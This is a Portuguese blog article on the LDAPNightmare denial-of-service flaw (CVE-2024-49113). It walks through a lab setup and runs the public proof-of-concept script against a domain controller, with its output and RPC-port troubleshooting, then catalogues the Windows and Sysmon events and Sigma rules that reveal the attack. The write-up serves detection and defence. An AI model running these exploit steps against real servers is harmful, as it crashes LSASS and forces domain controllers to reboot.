CVE-2024-49113: Como simular e identificar o ataque LDAPNightmare

Este artigo aborda técnicas de detecção de exploração da vulnerabilidade CVE-2024-49113 em servidores Windows, abordando métodos de monitoramento de tráfego, logs, e análise comportamental de rede.

TL;DR

A vulnerabilidade CVE-2024-49113 permite ataques de negação de serviço (DoS) contra servidores Windows através da exploração do protocolo LDAP. Este artigo detalha a configuração de um ambiente de simulação, a execução da prova de conceito e a análise dos logs gerados para detectar o ataque. Foram identificados EventIDs críticos para o monitoramento, como o 1000, 1001 e 1074. A simulação ajuda na compreensão do ataque e na criação de medidas de defesa eficazes.

1. Introdução

A vulnerabilidade CVE-2024-49113, que afeta servidores Windows e controladores de domínio (DCs), permite que invasores explorem falhas no serviço LDAP, resultando assim em negação de serviço (DoS) e, potencialmente, execução remota de código (RCE), segundo a CVE-2024-49112. Embora a Microsoft tenha lançado patches de segurança para corrigir a falha, ainda é necessário estar atento à detecção e mitigação da exploração dessa vulnerabilidade em seus ambientes. Neste artigo, vamos abordar como simular a vulnerabilidade e como identificar o ataque, por meio dos logs do sistema e regras Sigma.

2. Entendendo o Ataque: Exploração da Vulnerabilidade LDAP

A CVE-2024-49113 afeta a forma como servidores Windows processam consultas LDAP maliciosas, permitindo que um atacante não autenticado execute um ataque de DoS, forçando o servidor a reiniciar. O ataque se dá ao manipular as consultas LDAP e abusar do fluxo de comunicação, desde o envio de consultas DNS até respostas LDAP maliciosas.

Resumidamente, o fluxo de ataque segue:

  • O invasor envia uma solicitação DCE/RPC para a máquina do servidor da vítima.
  • A vítima é acionada para enviar uma consulta SRV DNS sobre SafeBreachLabs.pro.
  • O servidor DNS do Invasor responde com o nome de host da máquina e a porta LDAP do Invasor.
  • A vítima envia uma solicitação NBNS de transmissão para encontrar o endereço IP do nome do host recebido (do invasor).
  • O invasor envia uma resposta NBNS com seu endereço IP.
  • A vítima se torna um cliente LDAP e envia uma solicitação CLDAP para a máquina do invasor.
  • O invasor envia um pacote de resposta de referência CLDAP com um valor específico, resultando em LSASS para travar e forçar uma reinicialização do servidor vítima.
    sequenceDiagram
	    participant Attacker as Atacante
	    participant Victim as Vítima
	    participant DNS as Servidor DNS
	  
	    Attacker->>Victim: Envia solicitação DCE/RPC (Bind)
	    Victim->>DNS: Consulta SRV DNS sobre _ldap._tcp.dc._msdcs.safebreachlabs.pro
	    DNS->>Victim: Resposta SRV DNS com nome e porta LDAP do Atacante
	    Victim->>Attacker: Solicita resolução de nome (NBNS)
	    Attacker->>Victim: Responde com endereço IP do Atacante
	    Victim->>Attacker: Envia solicitação CLDAP para o Atacante
	    Attacker->>Victim: Responde com pacote CLDAP de referência
	    Victim->>Victim: LSASS trava e força reinicialização do servidor

Para um entendimento detalhado da exploração, você pode consultar o post ofical da SafeBreachs ao final da página em referências.

3. Configurando o ambiente

Como não temos DNS público nem domínio nem nada, vamos usar o próprio domínio que a SafeBreachs usou durante a PoC para também simularmos no nosso lab.

3.1. Configurando o Kali

  • No seu Kali Linux, abra a pasta /etc/samba/smb.conf e inclua o comando abaixo no fim da página:
1[global]
2netbios name = sbattacker
3wins support = yes
  • Reinicie o serviço com o comando sudo systemctl restart smbd. Caso você esteja utilizando outro Linux, precisará configurar o Samba na máquina.
  • Agora, no seu Windows, você precisa configurar o IP do seu Kali como o DNS do servidor. Você pode incluir manual ou usar o comando:
1Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 172.16.0.250
  • Você também precisa configurar o IP do seu Kali no arquivo hosts do Windows. Você pode incluir manual ou usar o comando:
1Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "172.16.0.250 sbattacker"
  • Depois de configurado faça os testes abaixo:
1ping sbattacker # Veja se responde ao IP do seu Kali
2# Veja se responde ao sbattacker (host configurado no smb do Kali)
3nslookup -type=SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.safebreachlabs.pro 
4nslookup -type=SRV _ldap._tcp.dc._msdcs.safebreachlabs.pro 
  • Se tudo ocorreu certo, seu ambiente está pronto para ser testado:
 1# No Kali execute:
 2python LdapNightmare.py 172.16.0.10 -d safebreachlabs.pro # 172.16.0.10 é o IP do meu DC
 3
 4OUTPUT
 5------
 6[LDAP Nightmare:INFO] - Waiting for udp server to start...
 7[LDAP Nightmare:INFO] - NetLogon connected
 8[LDAP Nightmare:INFO] - Calling DsrGetDcNameEx2 now...
 9[LDAP Nightmare:INFO] - Connected to 172.16.0.10:49664
10[LDAP Nightmare:INFO] - Sending DsrGetDcNameEx2 request...
11[LDAP Nightmare:INFO] - Received LDAP request from NetLogon ('172.16.0.10', 51740)
12[LDAP Nightmare:INFO] - Sending malicious LDAP response packet to ('172.16.0.10', 51740): b'0&\x02\x04\x02\x00\x00\x08e\x1e\n\x01\n\x04\x00\x04\x00\xa3\x15\x04\x13ldap://referral.com'
13[LDAP Nightmare:INFO] - Successfuly triggered the vulnerability!

3.2. Troubleshooting

No Windows Server 2019, existe a possibilidade de, ao executar o PoC, ele falhar e dar um erro de rejeição no Bind.

1impacket.dcerpc.v5.rpcrt.DCERPCException: Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint)

É provável que o NetLogon esteja sendo executado em outra porta e, para isso você precisa descobrir. Para isso execute o impacket-rpcdump @192.168.56.10. Esse é meu IP do meu servidor Windows Server 2019. Verifique a flag ncacn_ip_tcp que vem logo após o ncalrpc:[<id>]. Geralmente, essa é a porta em uso do RPC no momento e então execute o script novamente: python LdapNightmare.py 192.168.56.10 -d safebreachlabs.pro -p 49154. Caso não funcione, liste todas as portas em ncacn_ip_tcp e teste cada uma. Irá funcionar.

 1impacket-rpcdump @192.168.56.10 | grep -A 20 'netlogon.dll'   
 2Provider: netlogon.dll 
 3UUID    : 12345678-1234-ABCD-EF00-01234567CFFB v1.0 
 4Bindings: 
 5          ncacn_np:\\KINGSLANDING[\pipe\lsass]
 6          ncalrpc:[audit]
 7          ncalrpc:[securityevent]
 8          ncalrpc:[LSARPC_ENDPOINT]
 9          ncalrpc:[lsacap]
10          ncalrpc:[LSA_EAS_ENDPOINT]
11          ncalrpc:[lsapolicylookup]
12          ncalrpc:[lsasspirpc]
13          ncalrpc:[protected_storage]
14          ncalrpc:[SidKey Local End Point]
15          ncalrpc:[samss lpc]
16          ncacn_ip_tcp:192.168.56.10[49667]
17          ncalrpc:[OLE21156E72BF4475299B76BA172BE1]
18          ncacn_ip_tcp:192.168.56.10[49154]
19          ncalrpc:[NTDS_LPC]
20          ncacn_http:192.168.56.10[49670]
21          ncacn_np:\\KINGSLANDING[\pipe\db6974629d3204b2]
22          ncacn_ip_tcp:192.168.56.10[49671]

4. Da detecção via logs do Windows e Sysmon

4.1. EventID’s identificados:

Abaixo, seguem alguns EventID’s que eu considerei relevante para consulta. Eles seguem a ordem em que foram gerados no meu Lab com base no EventTime e não no EventReceivedTime:

EventIDChannelSourceNameEventTypeObservações
1000ApplicationApplication ErrorERRORPrincipal evento que dá maiores detalhes sobre a falha no lsass.exe.
1001ApplicationWindows Error ReportingINFOFault bucket (Evento que detecta a falha no lsass.exe e WLDAP32.dll).
4624SecurityMicrosoft-Windows-Security-AuditingAUDIT_SUCCESSAutenticação com o ususário SYSTEM.
10Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-SysmonINFOEvento que informa que o WerFault.exe acessou o lsass.exe.
1074SystemUser32INFOÉ o evento que informa que houve algum problema desconhecido e reinicia o sistema.
22Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-SysmonINFOMostra o nome do host e o ip consultados pelo lsass.exe.

4.2. EventID 1000 – Application Error

Log:

 1Faulting application name: lsass.exe, version: 10.0.20348.2340, time stamp: 0x343412e1
 2Faulting module name: WLDAP32.dll, version: 10.0.20348.2652, time stamp: 0xdc811887
 3Exception code: 0xc0000005
 4Fault offset: 0x0000000000031dd3
 5Faulting process id: 0x2a8
 6Faulting application start time: 0x01db6394e91f2214
 7Faulting application path: C:\Windows\system32\lsass.exe
 8Faulting module path: C:\Windows\System32\WLDAP32.dll
 9Report Id: a45f7e05-825a-4911-9637-a9cf02ed210e
10Faulting package full name: 
11Faulting package-relative application ID:

Descrição: Esse evento indica que o processo lsass.exe falhou devido a uma falha de acesso no módulo WLDAP32.dll. O código de exceção 0xc0000005 representa um erro de STATUS_ACCESS_VIOLATION, ou seja, o processo tentou acessar uma área de memória inválida. Link na referência.

Uma coisa curiosa que podemos notar fazer iniciar o debug do LDAP é ver tudo o que foi enviado do script para o DC, como podemos ver logo abaixo. Para ativar o modo debug, veja o link da referência.

  1[0]0BD8.27C0::2025/01/10-23:57:50.464648300 [MSNT_SystemTrace]
  2{
  3    "EventVersion": 0,
  4    "Reserved": 0,
  5    "PartitionType": 0,
  6    "QpcOffsetFromRoot": 0,
  7    "PartitionId": "",
  8    "ParentId": "",
  9    "meta": {
 10        "provider": "MSNT_SystemTrace",
 11        "event": "PartitionInfoExtensionV2",
 12        "time": "2025-01-11T02:57:50.4646483Z",
 13        "cpu": 0,
 14        "pid": 3032,
 15        "tid": 10176,
 16        "task": "EventTrace"
 17    }
 18}
 19[1]08DC.1D74::2025/01/10-23:57:53.961263700 [Microsoft-Windows-LDAP-Client]
 20{
 21    "ScopeOfSearch": 0,
 22    "SearchFilter": "(objectclass=*)",
 23    "DistinguishedName": "",
 24    "AttributeList": "supportedCapabilities",
 25    "ProcessId": "0x8DC",
 26    "meta": {
 27        "provider": "Microsoft-Windows-LDAP-Client",
 28        "event": "30v0",
 29        "time": "2025-01-11T02:57:53.9612637Z",
 30        "cpu": 1,
 31        "pid": 2268,
 32        "tid": 7540,
 33        "channel": "Microsoft-Windows-LDAP-Client/Debug",
 34        "keywords": "search"
 35    }
 36}
 37[1]08DC.1D74::2025/01/10-23:57:53.961430100 [Microsoft-Windows-LDAP-Client]
 38{
 39    "ScopeOfSearch": 0,
 40    "SearchFilter": "(objectclass=*)",
 41    "DistinguishedName": "",
 42    "AttributeList": "supportedSASLMechanisms",
 43    "ProcessId": "0x8DC",
 44    "meta": {
 45        "provider": "Microsoft-Windows-LDAP-Client",
 46        "event": "30v0",
 47        "time": "2025-01-11T02:57:53.9614301Z",
 48        "cpu": 1,
 49        "pid": 2268,
 50        "tid": 7540,
 51        "channel": "Microsoft-Windows-LDAP-Client/Debug",
 52        "keywords": "search"
 53    }
 54}
 55[0]08DC.1D74::2025/01/10-23:57:53.966142200 [Microsoft-Windows-LDAP-Client]
 56{
 57    "ScopeOfSearch": 0,
 58    "SearchFilter": "(objectclass=*)",
 59    "DistinguishedName": "",
 60    "AttributeList": "dsServiceName;isGlobalCatalogReady",
 61    "ProcessId": "0x8DC",
 62    "meta": {
 63        "provider": "Microsoft-Windows-LDAP-Client",
 64        "event": "30v0",
 65        "time": "2025-01-11T02:57:53.9661422Z",
 66        "cpu": 0,
 67        "pid": 2268,
 68        "tid": 7540,
 69        "channel": "Microsoft-Windows-LDAP-Client/Debug",
 70        "keywords": "search"
 71    }
 72}
 73[1]08DC.1D74::2025/01/10-23:57:53.966891000 [Microsoft-Windows-LDAP-Client]
 74{
 75    "ScopeOfSearch": 0,
 76    "SearchFilter": "(objectclass=*)",
 77    "DistinguishedName": "CN=NTDS Settings,CN=DC01,CN=Servers,CN=CORP,CN=Sites,CN=Configuration,DC=CORP,DC=LOCAL",
 78    "AttributeList": "options",
 79    "ProcessId": "0x8DC",
 80    "meta": {
 81        "provider": "Microsoft-Windows-LDAP-Client",
 82        "event": "30v0",
 83        "time": "2025-01-11T02:57:53.9668910Z",
 84        "cpu": 1,
 85        "pid": 2268,
 86        "tid": 7540,
 87        "channel": "Microsoft-Windows-LDAP-Client/Debug",
 88        "keywords": "search"
 89    }
 90}
 91[1]02A0.0664::2025/01/10-23:58:13.275826200 [Microsoft-Windows-LDAP-Client]
 92{
 93    "ScopeOfSearch": 0,
 94    "SearchFilter": "(&(DnsDomain=safebreachlabs\\2Epro)(Host=DC01)(User=sbattacker)(AAC=\\10\\00\\00\\00)(DomainGuid=\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00)(NtVer=\\16\\00\\00\\01)(DnsHostName=DC01\\2ECORP\\2ELOCAL))",
 95    "DistinguishedName": "",
 96    "AttributeList": "Netlogon",
 97    "ProcessId": "0x2A0",
 98    "meta": {
 99        "provider": "Microsoft-Windows-LDAP-Client",
100        "event": "30v0",
101        "time": "2025-01-11T02:58:13.2758262Z",
102        "cpu": 1,
103        "pid": 672,
104        "tid": 1636,
105        "channel": "Microsoft-Windows-LDAP-Client/Debug",
106        "keywords": "search"
107    }
108}
109[0]0928.1990::2025/01/10-23:58:17.688201100 [Microsoft-Windows-LDAP-Client]
110{
111    "ScopeOfSearch": 0,
112    "SearchFilter": "(objectCategory=*)",
113    "DistinguishedName": "CN=DNS Settings,CN=DC01,CN=Servers,CN=CORP,CN=Sites,CN=Configuration,DC=CORP,DC=LOCAL",
114    "AttributeList": "msDNS-KeymasterZones",
115    "ProcessId": "0x928",
116    "meta": {
117        "provider": "Microsoft-Windows-LDAP-Client",
118        "event": "30v0",
119        "time": "2025-01-11T02:58:17.6882011Z",
120        "cpu": 0,
121        "pid": 2344,
122        "tid": 6544,
123        "channel": "Microsoft-Windows-LDAP-Client/Debug",
124        "keywords": "search"
125    }
126}

4.3. EventID 1001 – Windows Error Reporting

Log:

 1Fault bucket , type 0
 2Event Name: CriticalProcessFault2
 3Response: Not available
 4Cab Id: 0
 5
 6Problem signature:
 7P1: lsass.exe
 8P2: 10.0.20348.2340
 9P3: 343412e1
10P4: WLDAP32.dll
11P5: 10.0.20348.2652
12P6: dc811887
13P7: c0000005
14P8: 0000000000031dd3
15P9: 00000000
16P10: 0x00000000
17
18Attached files:
19
20These files may be available here:
21\\?\C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lsass.exe_e4a209b6d398687ac0e31ecf89d9a4b69bd66_c660ab9f_19386d81-9ff6-4769-a2d5-d2efdb78fd0c
22
23Analysis symbol: 
24Rechecking for solution: 0
25Report Id: a45f7e05-825a-4911-9637-a9cf02ed210e
26Report Status: 4
27Hashed bucket: 
28Cab Guid: 0

Descrição: Esse evento é gerado pelo Windows Error Reporting logo após o evento 1000, para relatar o crash do processo lsass.exe. Ele fornece detalhes adicionais e é uma continuação do evento anterior. Maiores detalhes no link da referência.

4.4. EventID 4624 – Logon bem-sucedido

Log:

 1An account was successfully logged on.
 2
 3Subject:
 4	Security ID:		S-1-5-18
 5	Account Name:		DC01$
 6	Account Domain:		CORP
 7	Logon ID:		0x3E7
 8
 9Logon Information:
10	Logon Type:		5
11	Restricted Admin Mode:	-
12	Virtual Account:		No
13	Elevated Token:		Yes
14
15Impersonation Level:		Impersonation
16
17New Logon:
18	Security ID:		S-1-5-18
19	Account Name:		SYSTEM
20	Account Domain:		NT AUTHORITY
21	Logon ID:		0x3E7
22	Linked Logon ID:		0x0
23	Network Account Name:	-
24	Network Account Domain:	-
25	Logon GUID:		{00000000-0000-0000-0000-000000000000}
26
27Process Information:
28	Process ID:		0x288
29	Process Name:		C:\Windows\System32\services.exe
30
31Network Information:
32	Workstation Name:	-
33	Source Network Address:	-
34	Source Port:		-
35
36Detailed Authentication Information:
37	Logon Process:		Advapi  
38	Authentication Package:	Negotiate
39	Transited Services:	-
40	Package Name (NTLM only):	-
41	Key Length:		0
42
43This event is generated when a logon session is created. It is generated on the computer that was accessed.
44
45The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.
46
47The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
48
49The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.
50
51The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
52
53The impersonation level field indicates the extent to which a process in the logon session can impersonate.
54
55The authentication information fields provide detailed information about this specific logon request.
56	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
57	- Transited services indicate which intermediate services have participated in this logon request.
58	- Package name indicates which sub-protocol was used among the NTLM protocols.
59	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.

Descrição: Este evento indica que houve um logon bem-sucedido no sistema. O tipo de logon 5 corresponde a “Service Logon”, ou seja, um serviço foi iniciado no sistema. O logon foi realizado pelo próprio sistema operacional, conforme mostrado no log. O services.exe é o processo responsável por gerenciar os serviços do Windows.

A princípio, não havia entendido o por quê de ter gerado esse evento e pensei ser apenas um falso-positivo, mas depois de ver a Call Trace do processo, eu suspeito que seja porque uma das dlls usadas é justamente o RPC, como vimos no gráfico do Tópico 2. Não tenho certeza quanto a isso, é apenas uma hipótese.

4.5. EventID 10 – Sysmon: ProcessAccess

O EventID 10 foi um evento que gerou alguns logs, sendo que dois processos acessaram o lsass.exe, como podemos ver no exemplo abaixo:

Log1:

 1# Esse é o log do processo WerFault.exe
 2Process accessed:
 3RuleName: technique_id=T1003,technique_name=Credential Dumping
 4UtcTime: 2025-01-10 19:32:44.758
 5SourceProcessGUID: {12a9cc09-75dc-6781-9900-000000002d00}
 6SourceProcessId: 10948
 7SourceThreadId: 4332
 8SourceImage: C:\Windows\system32\WerFault.exe
 9TargetProcessGUID: {12a9cc09-7353-6781-0c00-000000002d00}
10TargetProcessId: 680
11TargetImage: C:\Windows\system32\lsass.exe
12GrantedAccess: 0x1FFFFF
13CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a0694|C:\Windows\SYSTEM32\ntdll.dll+dba00|C:\Windows\System32\KERNEL32.DLL+1e404|C:\Windows\System32\KERNEL32.DLL+258be|C:\Windows\system32\dbgcore.DLL+a47a|C:\Windows\system32\dbgcore.DLL+19735|C:\Windows\system32\dbgcore.DLL+12988|C:\Windows\system32\dbgcore.DLL+66a8|C:\Windows\system32\dbgcore.DLL+71b8|C:\Windows\system32\faultrep.dll+1a396|C:\Windows\system32\faultrep.dll+14ea5|C:\Windows\system32\faultrep.dll+11e8a|C:\Windows\system32\faultrep.dll+11dda|C:\Windows\system32\faultrep.dll+fd76|C:\Windows\system32\WerFault.exe+3bde1|C:\Windows\system32\WerFault.exe+79df|C:\Windows\system32\WerFault.exe+54fe1|C:\Windows\System32\KERNEL32.DLL+14cb0|C:\Windows\SYSTEM32\ntdll.dll+7eceb
14SourceUser: NT AUTHORITY\SYSTEM
15TargetUser: NT AUTHORITY\SYSTEM

Log2:

 1# Esse é o log do processo svchost.exe
 2Process accessed:
 3RuleName: technique_id=T1003,technique_name=Credential Dumping
 4UtcTime: 2025-01-10 19:32:44.298
 5SourceProcessGUID: {12a9cc09-75dc-6781-9700-000000002d00}
 6SourceProcessId: 3616
 7SourceThreadId: 6416
 8SourceImage: C:\Windows\System32\svchost.exe
 9TargetProcessGUID: {12a9cc09-7353-6781-0c00-000000002d00}
10TargetProcessId: 680
11TargetImage: C:\Windows\system32\lsass.exe
12GrantedAccess: 0x1FFFFF
13CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a0694|C:\Windows\System32\KERNELBASE.dll+44c6e|c:\windows\system32\wersvc.dll+1b1a4|c:\windows\system32\wersvc.dll+17cd7|c:\windows\system32\wersvc.dll+1456c|c:\windows\system32\wersvc.dll+139c1|c:\windows\system32\wersvc.dll+137b9|C:\Windows\SYSTEM32\ntdll.dll+7233|C:\Windows\SYSTEM32\ntdll.dll+bb26|C:\Windows\System32\KERNEL32.DLL+14cb0|C:\Windows\SYSTEM32\ntdll.dll+7eceb
14SourceUser: NT AUTHORITY\SYSTEM
15TargetUser: NT AUTHORITY\SYSTEM

Descrição: Esse evento foi registrado pelo Sysmon e indica que o processo WerFault.exe tentou acessar o processo lsass.exe com o nível de acesso 0x1FFFFF, que corresponde a permissões totais (leitura, gravação e execução). O svchost.exe também teve o mesmo comportamento que o evento anterior.

Quando um aplicativo ou componente do sistema falha, o WerFault.exe é acionado para coletar informações sobre o erro e, se permitido pelo usuário, enviar esses dados para a Microsoft. Isso auxilia na melhoria contínua do Windows por meio da análise de padrões de falhas e desenvolvimento de correções.

4.6. EventID 1074 – Reinicialização iniciada pelo sistema

Log:

1The process wininit.exe has initiated the restart of computer DC01 on behalf of user  for the following reason: No title for this reason could be found
2 Reason Code: 0x50006
3 Shutdown Type: restart
4 Comment: The system process 'C:\Windows\system32\lsass.exe' terminated unexpectedly with status code -1073741819.  The system will now shut down and restart.

Descrição: Esse evento indica que o processo wininit.exe iniciou a reinicialização do computador devido à falha crítica do processo lsass.exe. O código de status -1073741819 (0xc0000005 em hexadecimal) é uma indicação de violação de acesso, ou seja, o lsass.exe tentou acessar uma área de memória inválida e foi encerrado pelo sistema.

Apesar de eu não ter encontrado nada relacionado ao hexadecimal, deixei referências para consultas de caráter acadêmico. Outro link bastante curioso que deixei nas referência é sobre um artigo da Microsoft falando sobre o LSASS parar de responder e até reiniciar, o que me dá a entender que isso já era um problema conhecido, suposições minha.

4.2. EventID 22 – Sysmon: DNSEvent (DNS query)

Log1:

 1Dns query:
 2RuleName: -
 3UtcTime: 2025-01-10 19:32:44.077
 4ProcessGuid: {12a9cc09-7353-6781-0c00-000000002d00}
 5ProcessId: 680
 6QueryName: sbattacker
 7QueryStatus: 0
 8QueryResults: ::ffff:172.16.0.250;
 9Image: C:\Windows\System32\lsass.exe
10User: NT AUTHORITY\SYSTEM

Log2:

 1Dns query:
 2RuleName: -
 3UtcTime: 2025-01-10 19:32:44.077
 4ProcessGuid: {12a9cc09-7353-6781-0c00-000000002d00}
 5ProcessId: 680
 6QueryName: _ldap._tcp.dc._msdcs.safebreachlabs.pro.
 7QueryStatus: 0
 8QueryResults: type: 33 sbattacker;
 9Image: C:\Windows\System32\lsass.exe
10User: NT AUTHORITY\SYSTEM

Descrição: Este evento registrado pelo Sysmon indica que o processo lsass.exe realizou uma consulta DNS para o domínio _ldap._tcp.dc._msdcs.safebreachlabs.pro.. O resultado da consulta mostra que a resposta retornada foi do tipo SRV (type: 33), com o nome sbattacker. O domínio consultado é externo e não deveria estar sendo acessado pelo controlador de domínio de um ambiente legítimo, imagino. Isso sugere que pode ter havido uma tentativa de redirecionamento malicioso de consultas LDAP para um servidor controlado por um atacante, que é o nosso caso. O segundo evento mostra que o processo lsass.exe realizou uma consulta DNS para o nome sbattacker, e a resposta foi o endereço IP 172.16.0.250. O endereço IP retornado (172.16.0.250) é a máquina Kali que está sendo usada para a simulação do ataque. Isso indica que o servidor de DNS respondeu redirecionando a consulta para o atacante, como parte da exploração da vulnerabilidade no ambiente LDAP.

5. Da detecção via Aurora

O Aurora, é uma Custom Sigma-based Endpoint Agent, uma solução criada pela Nextron Systems. É um agente de endpoint leve e personalizável baseado em Sigma.

Leia também!
Aurora e Sigma Rules: Melhorando a eficiência e visibilidade na detecção de ameaças em Windows
Aurora, combinado com regras Sigma, aprimora a detecção de ameaças em Windows, oferecendo uma solução robusta e flexível para ambientes corporativos.
Sandson Costa Sandson Costa
Aurora e Sigma Rules: Melhorando a eficiência e visibilidade na detecção de ameaças em Windows

A comunidade em um post no LinkedIn se movimentou e criaram uma regra Sigma para detectar eventos referente à essa CVE. O post pode ser acessado no link de referência. Apesar de ter sido criado uma regra Sigma exclusiva para esse cenário, pude perceber que outras regras capturaram os eventos e podem contribuir para detecção, conforme print abaixo:

6. Execução da PoC

PoC do exemplo mostrado acima.

7. Agradecimentos

Gostaria de tornar público a ajuda que recebi do meu colega de profissão Isaac Fernandes que me ajudou com a configuração do laboratório. Depois de, sei lá, uma semana quebrando a cabeça… O Isaac deu a call e deu bom. O resultado? Este artigo.

8. Conclusão

A vulnerabilidade CVE-2024-49113 demonstra como um atacante pode explorar uma falha no processamento de consultas LDAP em servidores Windows, resultando em uma condição de negação de serviço (DoS). Durante a exploração dessa falha, também é possível que o processo LSASS seja forçado a falhar, o que leva ao reinício do sistema. Neste artigo, mostramos como configurar um ambiente controlado para simulação do ataque, executar a prova de conceito (PoC) e identificar os principais indicadores de comprometimento (IoCs) nos logs do Windows e do Sysmon.

Além disso, o artigo forneceu um guia detalhado para a detecção da exploração com base em EventIDs relevantes. Esses eventos são essenciais para a análise forense de incidentes e ajudam na criação de regras de monitoramento em ambientes corporativos.

9. Referências


Widget is loading comments...
domingo, 20 de julho de 2025 sábado, 11 de janeiro de 2025